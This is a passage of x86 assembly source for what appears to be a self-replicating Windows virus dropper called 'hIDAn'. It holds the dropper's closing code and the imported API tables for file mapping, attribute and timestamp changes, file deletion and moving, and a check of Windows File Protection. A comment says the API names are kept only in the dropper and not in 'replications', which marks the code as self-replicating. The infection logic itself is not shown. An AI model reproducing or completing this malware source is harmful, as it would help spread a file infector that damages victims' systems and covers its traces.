        push    offset txttitle
        push    offset txtbody
        push    ebx
        call    _MessageBoxA@16
        push    ebx
        call    _ExitProcess@4                  ;9x/Me does not send DLL_DETACH messages if ret here

        mov     eax, dword ptr [offset _RootNode]
        mov     eax, dword ptr [offset _netnode_value@4]
                                                ;force references into import table

;must be alphabetical order
;API names are not present in replications, only in dropper

krnnames        db      "CloseHandle"         , 0
                db      "CreateFileA"         , 0
                db      "CreateFileMappingA"  , 0
                db      "GetFileAttributesA"  , 0
                db      "GetFileSize"         , 0
                db      "GetFileTime"         , 0
                db      "GetTickCount"        , 0
                db      "LoadLibraryA"        , 0
                db      "MapViewOfFile"       , 0
                db      "MultiByteToWideChar" , 0
                db      "SetFileAttributesA"  , 0
                db      "SetFileTime"         , 0
                db      "UnmapViewOfFile"     , 0

sfcnames        db      "SfcIsFileProtected", 0

dllnames        db      "CloseHandle"        , 0
                db      "CreateFileA"        , 0
                db      "DeleteFileA"        , 0
                db      "GetFileAttributesA" , 0
                db      "GetTempFileNameA"   , 0
                db      "GetTickCount"       , 0
                db      "GlobalAlloc"        , 0
                db      "GlobalFree"         , 0
                db      "LoadLibraryA"       , 0
                db      "MoveFileA"          , 0
                db      "SetFileAttributesA" , 0
                db      "WriteFile"          , 0
                db      "lstrcatA"           , 0

regnames        db      "RegQueryValueA", 0

dllname         equ     "hidan"                 ;must be < 7 bytes long else code change

txttitle        db      "hIDAn", 0
txtbody         db      "Now run IDA ;)", 0

.code
        nop
end             _dropper